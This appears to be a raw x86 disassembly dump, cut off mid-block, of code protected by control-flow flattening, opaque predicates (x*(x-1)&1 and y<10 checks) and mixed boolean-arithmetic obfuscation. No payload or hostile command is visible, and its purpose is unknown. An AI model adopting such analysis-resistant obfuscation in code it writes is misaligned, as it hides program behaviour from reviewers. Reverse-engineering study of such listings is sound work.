sub edx, 0xea569dc2
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
sub edx, esi
sub edx, 0xae55933a
sub edx, 0xea569dc2
add edx, 0xae55933a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl ch
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, al
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or cl, dh
or dl, ah
xor cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
or dh, ah
mov bl, dh
xor bl, 0xff
mov ah, al
xor ah, bl
and ah, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
mov al, ch
and al, bh
or bl, al
mov bh, 1
xor bh, 0
mov al, bl
xor al, bh
and al, bl
xor dh, 0xff
mov bh, ch
xor bh, dh
and bh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xdb8], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xdb8]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, ch
or al, cl
xor ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d8fdc50
mov ecx, 0xbb356515
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xe20], eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x40000000
or edx, eax
xor edx, 0xffffffff
xor edx, 0x3a5fb817
and edx, 0x3a5fb817
mov ebx, 0xffffffff
xor ebx, 0x3a5fb817
and ebx, 0xbc74499d
mov ecx, 0xffffffff
xor ecx, 0xbc74499d
mov esi, ecx
and esi, 0x3a5fb817
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xbc74499d
and ecx, 0xffffffff
or ebx, esi
or eax, ecx
xor ebx, eax
mov esi, ebx
xor esi, 0xffffffff
xor esi, 0x40000000
and esi, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or ecx, eax
mov edi, 0xffffffff
xor edi, 0x3a5fb817
mov eax, ecx
xor eax, edi
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xc12ff3a9
or ecx, ebx
or edi, 0xc12ff3a9
xor ecx, 0xffffffff
and ecx, edi
mov edi, edx
and edi, esi
xor edx, esi
or edi, edx
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0xe2c], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x113c36da
and esi, 0x113c36da
and eax, edx
mov dword [ebp - 0xe34], eax
mov eax, ebx
and eax, 0x113c36da
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0xe34]
and ecx, edx
or esi, eax
mov eax, dword [ebp - 0xe30]
or eax, ecx
mov ecx, dword [ebp - 0xe2c]
xor esi, eax
mov eax, dword [ebp - 0xe20]
or ecx, ebx
xor ecx, 0xffffffff
or edx, 0x113c36da
and ecx, edx
or esi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xccbf5504
mov ebx, 0xffffffff
xor ebx, 0xccbf5504
and edi, ebx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xccbf5504
and esi, ebx
or ecx, edi
or edx, esi
xor ecx, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0x590dcad7
mov edi, 0xffffffff
xor edi, 0x590dcad7
mov ebx, eax
and ebx, edi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x590dcad7
and edi, 0xffffffff
or esi, ebx
or edx, edi
xor esi, edx
mov ebx, ecx
xor ebx, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd28c528a
or ebx, esi
or edx, 0xd28c528a
xor ebx, 0xffffffff
and ebx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
or edx, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x6c390ec9
or eax, edx
or ecx, 0x6c390ec9
xor eax, 0xffffffff
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7e730a38
mov edx, ecx
and edx, 0x7e730a38
and ebx, esi
mov dword [ebp - 0xe28], ebx
mov ebx, edi
and ebx, 0x7e730a38
and eax, esi
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0xe28]
or edx, eax
mov eax, dword [ebp - 0xe24]
or ebx, eax
mov eax, dword [ebp - 0xe20]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x7e730a38
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xf926d121
mov ebx, 0xffffffff
xor ebx, 0xf926d121
mov edi, edx
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xf926d121
and esi, ebx
or eax, edi
or ecx, esi
xor eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xb87090f3
or eax, edx
or ecx, 0xb87090f3
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c0], 0xee44b3ba
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edx, ecx
sub edx, 0x3648d603
sub edx, 0x6e3231c
add edx, 0x3648d603
add edx, 0x6dc6c2af
add edx, 0x762b3668
sub edx, 0x6dc6c2af
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x6e3231c
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x5fee4596
add edx, 0x7fd548a6
sub edx, 0x5fee4596
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x59fe5eec
sub edx, 0x7fd548a6
add edx, 0x59fe5eec
xor edi, edi
sub edi, 0xa256ff3b
sub edi, 0x762b3668
add edi, 0xa256ff3b
xor esi, esi
sub esi, edi
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov byte [ebp - 0xe50], al
mov ah, cl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0xe50]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov byte [ebp - 0xe3c], dl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or bh, dl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
mov ch, al
and ch, 0
and bh, dl
mov dh, ah
and dh, 0
and bl, dl
or ch, bh
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, dh
or al, dl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
and dl, 1
or bh, dl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dl, 1
xor dl, 0
or bh, bl
or dl, 0
xor bh, 0xff
and bh, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov byte [ebp - 0xe53], dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and bh, dh
mov byte [ebp - 0xe55], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xe54], al
mov al, byte [ebp - 0xe55]
or dl, al
mov al, byte [ebp - 0xe54]
or bh, al
mov al, byte [ebp - 0xe53]
xor dl, bh
mov bh, byte [ebp - 0xe3c]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, al
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and al, dl
or bl, al
mov byte [ebp - 0xe3b], bl
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov al, bh
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and bh, dl
mov ah, dh
xor ah, 0xff
and ah, 0
and dh, dl
mov dl, byte [ebp - 0xe3c]
or al, bh
or ah, dh
xor al, ah
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
mov dl, 1
xor dl, 1
and dl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov byte [ebp - 0xe4f], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, dl
and bh, 0xff
and al, dh
mov byte [ebp - 0xe52], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xe51], al
mov al, byte [ebp - 0xe52]
and cl, dh
or bh, al
mov al, byte [ebp - 0xe51]
or al, cl
mov cl, byte [ebp - 0xe50]
xor bh, al
mov al, byte [ebp - 0xe4f]
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or bh, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
mov bl, bh
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and bh, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, bh
or al, dh
xor bl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bh, ch
and bh, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bh
or al, dh
xor dl, al
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
mov al, dh
and al, 1
mov byte [ebp - 0xe4e], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xe4d], al
mov al, byte [ebp - 0xe4e]
and dh, 1
or bh, al
mov al, byte [ebp - 0xe4d]
or al, dh
xor bh, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
or al, dh
mov dh, dl
and dh, bh
xor dl, bh
or dh, dl
mov bh, al
and bh, 0
xor al, 0
or bh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and dh, al
mov al, byte [ebp - 0xe3b]
or dl, dh
xor bh, 0xff
mov dh, dl
xor dh, bh
and dh, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and cl, bh
or dl, cl
mov bh, al
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
and al, cl
mov byte [ebp - 0xe4c], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xe4b], al
mov al, byte [ebp - 0xe4c]
and cl, 1
or bh, al
mov al, byte [ebp - 0xe4b]
or al, cl
xor bh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0xe4a], al
mov cl, dl
and cl, bh
xor dl, bh
or cl, dl
mov byte [ebp - 0xe45], cl
mov dl, 1
xor dl, 1
xor al, 0xff
mov byte [ebp - 0xe44], al
mov bh, 1
xor bh, 0
mov cl, dl
and cl, 0
mov byte [ebp - 0xe49], cl
mov cl, bh
and cl, 1
and al, 0
mov byte [ebp - 0xe48], al
mov al, byte [ebp - 0xe4a]
and al, bh
mov byte [ebp - 0xe47], al
mov al, byte [ebp - 0xe49]
or al, cl
mov cl, byte [ebp - 0xe48]
mov byte [ebp - 0xe46], al
mov al, byte [ebp - 0xe47]
or cl, al
mov al, byte [ebp - 0xe46]
xor al, cl
mov cl, byte [ebp - 0xe45]
mov byte [ebp - 0xe43], al
mov al, byte [ebp - 0xe44]
or dl, al
mov al, byte [ebp - 0xe43]
xor dl, 0xff
or bh, 0
and dl, bh
or al, dl
mov byte [ebp - 0xe42], al
mov al, cl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and cl, bh
mov dl, 1
xor dl, 1
and dl, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0xe42]
or dl, bh
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov cl, bl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov bh, ah
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and ah, bl
or cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, dh
xor al, 0xff
mov bl, dl
xor bl, 0xff
mov cl, 1
xor cl, 1
or al, bl
or cl, 1
xor al, 0xff
and al, cl
mov bh, dh
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
and dh, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or bh, dh
or cl, dl
xor bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xe41], dh
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and dh, 0
and al, cl
mov bl, dl
and bl, 0
and bh, cl
or dh, al
mov al, byte [ebp - 0xe41]
or bl, bh
xor dh, bl
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov bl, ah
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov bh, dl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, bh
or al, dl
xor bl, al
xor ah, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
mov al, dh
and al, bh
mov byte [ebp - 0xe40], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xe3f], al
mov al, byte [ebp - 0xe40]
and bh, 1
or dl, al
mov al, byte [ebp - 0xe3f]
or al, bh
xor dl, al
xor dl, 0xff
mov bh, 1
xor bh, 0
mov al, 1
xor al, 1
or dl, bh
or al, 1
xor dl, 0xff
and dl, al
xor bl, 0xff
mov al, dh
xor al, bl
and al, dh
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, dl
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
mov ah, cl
and ah, 0xff
and dl, dh
mov byte [ebp - 0xe3e], dl
mov dl, bh
and dl, 0xff
and al, dh
mov byte [ebp - 0xe3d], al
mov al, byte [ebp - 0xe3e]
or ah, al
mov al, byte [ebp - 0xe3d]
or dl, al
mov al, byte [ebp - 0xe3c]
xor ah, dl
mov dl, byte [ebp - 0xe3b]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov dh, bl
xor dh, 0xff
and dh, 0
mov bh, 1
xor bh, 0
and bl, bh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, bh
or dh, bl
or cl, ah
xor dh, cl
mov cl, al
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 1
or cl, bl
or ah, 1
xor cl, 0xff
and cl, ah
mov bl, al
xor bl, 0xff
mov ah, ch
and ah, bl
xor ch, 0xff
and al, ch
or ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or ch, cl
mov ah, 1
xor ah, 0
xor ch, 0xff
mov cl, 1
xor cl, 0
or ah, ch
or cl, 0
xor ah, 0xff
and ah, cl
mov ch, 1
xor ch, 0
and ch, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or ch, bh
or cl, bl
xor ch, cl
mov cl, ch
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0xe3a], al
mov al, 1
xor al, 1
mov ah, dl
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov ah, ch
and ah, 1
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bh, ah
or cl, dl
xor bh, cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov ch, cl
and ch, 0
and al, dl
mov bl, ah
and bl, 0
and bh, dl
or ch, al
mov al, byte [ebp - 0xe3a]
or bl, bh
xor ch, bl
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov byte [ebp - 0xe35], bl
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
and al, dl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, 1
xor bh, 0
or bl, dh
mov dh, byte [ebp - 0xe35]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0xe37], bl
xor dh, 0xff
mov bl, ch
xor bl, dh
and bl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0xe36], dh
mov bh, 1
xor bh, 1
mov dh, ch
and dh, 0xff
and al, bh
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xe36]
and al, 0xff
mov byte [ebp - 0xe38], al
mov al, byte [ebp - 0xe39]
and cl, bh
or dh, al
mov al, byte [ebp - 0xe38]
or al, cl
mov cl, byte [ebp - 0xe37]
xor dh, al
mov al, byte [ebp - 0xe36]
or ch, al
mov al, byte [ebp - 0xe35]
xor ch, 0xff
or bh, 1
and ch, bh
or dh, ch
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov bl, dh
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or bl, dh
or cl, ch
xor bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb709c158
mov ecx, 0x50e8c407
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor edx, edx
sub edx, 0x4a1901bb
sub edx, 0x958f21f7
add edx, 0x4a1901bb
add edx, 0x1e3d4f15
sub edx, 1
sub edx, 0x1e3d4f15
add edx, 0xd0134eb1
add edx, 0x958f21f7
sub edx, 0xd0134eb1
xor esi, esi
sub esi, 0xb05bfd70
sub esi, eax
add esi, 0xb05bfd70
xor edi, edi
sub edi, 0xe85b041f
sub edi, edx
add edi, 0xe85b041f
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x7240fe0
sub edx, esi
add edx, 0x7240fe0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or ch, cl
mov cl, al
xor cl, 0xff
mov dl, ch
and dl, cl
xor ch, 0xff
mov cl, al
and cl, ch
or dl, cl
mov ch, al
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
xor dl, 0xff
mov bh, ah
xor bh, dl
and bh, ah
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
mov dh, al
and dh, 0
and bh, dl
mov ch, ah
and ch, 0
and bl, dl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov ah, cl
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, ah
or al, dl
xor ch, al
mov byte [ebp - 0xe56], ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or ah, al
mov dl, 1
xor dl, 1
and dl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bl, 1
xor bl, 1
mov al, ch
xor al, bl
and al, ch
xor cl, 0xff
mov bl, dl
xor bl, 0xff
mov ch, 1
xor ch, 1
or cl, bl
or ch, 1
xor cl, 0xff
and cl, ch
mov bl, 1
xor bl, 1
mov ch, ah
xor ch, bl
and ch, ah
mov byte [ebp - 0xe5a], ch
mov bl, dl
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov byte [ebp - 0xe5b], ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dh
and ch, 0xff
and al, bl
mov byte [ebp - 0xe5d], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xe5c], al
mov al, byte [ebp - 0xe5d]
and cl, bl
or ch, al
mov al, byte [ebp - 0xe5c]
or al, cl
mov cl, byte [ebp - 0xe5b]
xor ch, al
mov al, byte [ebp - 0xe5a]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ch, dh
mov byte [ebp - 0xe57], ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dh
and ch, 0xff
and al, bl
mov byte [ebp - 0xe59], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xe58], al
mov al, byte [ebp - 0xe59]
and cl, bl
or ch, al
mov al, byte [ebp - 0xe58]
or al, cl
mov cl, byte [ebp - 0xe57]
xor ch, al
mov al, byte [ebp - 0xe56]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ch, dh
mov dh, cl
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and cl, ch
or bl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xabaddfba
mov ecx, 0xa7fa7204
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, 0x5098a32e
sub esi, 0x92c31fbe
add esi, 0x5098a32e
mov edx, ecx
add edx, 0x622dc1ae
sub edx, esi
sub edx, 0x622dc1ae
sub edx, 0x7a5142e8
sub edx, 0x97d8ec9a
add edx, 0x7a5142e8
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x97d8ec9a
sub edx, esi
xor esi, esi
sub esi, 0x7c20f139
add edx, esi
xor esi, esi
sub esi, 0x92c31fbe
add edx, esi
add edx, 0x2a89d8cb
add edx, 0x7c20f139
sub edx, 0x2a89d8cb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl al
mov byte [ebp - 0xe7d], al
mov ch, dl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov ah, dl
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, ah
or al, cl
xor ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
